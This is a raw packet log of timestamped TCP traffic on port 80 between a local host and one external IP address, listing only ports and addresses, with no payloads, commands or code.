Jul 3, 2024 23:58:58.378453016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378456116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378468990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378479958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378484964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378488064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378500938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378509045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378515959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378518105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378540039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378546953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.435368061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.435404062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.435425043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.435470104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.435483932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.435484886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.435512066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.435512066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.435543060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.435558081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.435566902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.435591936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.435599089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.446851969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.446878910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.446899891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.446918011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.446929932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.446947098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.446948051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.446986914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.447012901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.447029114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.447055101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.447067022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.447089911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.447104931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.447132111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.447149038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459211111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459225893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459239960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459254026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459261894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459285021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459299088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459300041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459300041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459309101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459325075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459326982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459335089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459341049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459357023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459367037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459371090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459382057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459386110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459400892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459403038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459408998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459422112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459434986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459439039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459441900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459453106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459462881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459477901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459477901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459495068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459501982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459518909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459520102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459526062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459542990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459558010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459563017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459572077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459587097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459594011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459594011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459610939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459610939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459626913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459628105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459640026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459644079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459659100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459667921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459673882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459681988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459691048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459713936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459718943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459729910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459738016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459759951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459777117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459780931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459795952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459810972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459820032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459825993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459826946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459842920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459847927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459856987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459861040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459892035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459907055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.459929943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.459974051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471003056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471018076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471040964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471054077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471055031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471086025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471100092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471131086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471147060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471162081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471170902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471189976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471199989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471327066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471343040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471357107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471370935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471374035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471396923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471419096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471479893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471496105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471510887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471519947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471524954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471539021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471541882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471554995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471564054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471587896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471797943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471812963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471834898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471844912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471849918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471865892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471875906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471880913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471895933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471905947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471927881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471946955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471962929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471976042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.471990108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.471999884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472004890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472016096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472026110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472033024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472037077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472054958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472074032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472074986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472115040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472441912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472457886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472470999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472492933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472497940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472497940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472507954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472513914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472523928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472527027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472541094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472546101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472557068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472558975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472570896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472577095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472587109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472594976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472609997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472611904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472624063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472626925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472641945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472651958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472659111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472671986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472675085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472687006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472692966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472701073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472708941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472718000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472724915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472734928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472739935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472743988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472754955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472770929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472786903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472800970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472811937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472811937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472811937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472811937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472811937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.472815037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.472846031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.473104000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.473119020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.473133087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.473135948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.473135948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.473149061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.473162889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.473165989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.473174095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.473181963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.473191977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.473211050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.473228931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.473278999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.473293066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.473308086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.473319054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.473326921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.473328114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.473346949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.473362923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.529582024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.529671907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.529712915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.529773951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.529886007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.529902935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.529917002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.529932022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.529933929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.529947042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.529956102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.529974937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.530009031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.540808916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.540848970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.540868044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.540895939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.540908098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.540932894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.540971994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.540987968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.541002035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.541013956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.541032076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.541039944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.541074038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.541090012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.541112900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.541126013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.552762032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.552778006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.552792072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.552814007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.552818060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.552833080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.552846909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.552855015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.552871943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.552880049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.552894115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.552917957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.552922964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.552937031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.552949905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.552964926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.552966118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.552980900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.552982092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.552989960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553010941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553025961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553040028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553055048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553069115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553081989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553108931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553160906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553175926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553189993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553201914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553226948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553239107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553281069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553325891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553340912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553354979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553369045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553369999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553379059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553384066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553399086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553415060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553421974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553703070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553720951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553735971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553744078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553751945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553767920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553769112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553783894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553792953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553793907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553807974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553816080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553822994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553824902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553841114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553849936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553857088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.553868055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553881884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.553894997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.554131031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.554146051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.554177046 CEST	49730	80	192.168.2.4	85.28.47.4
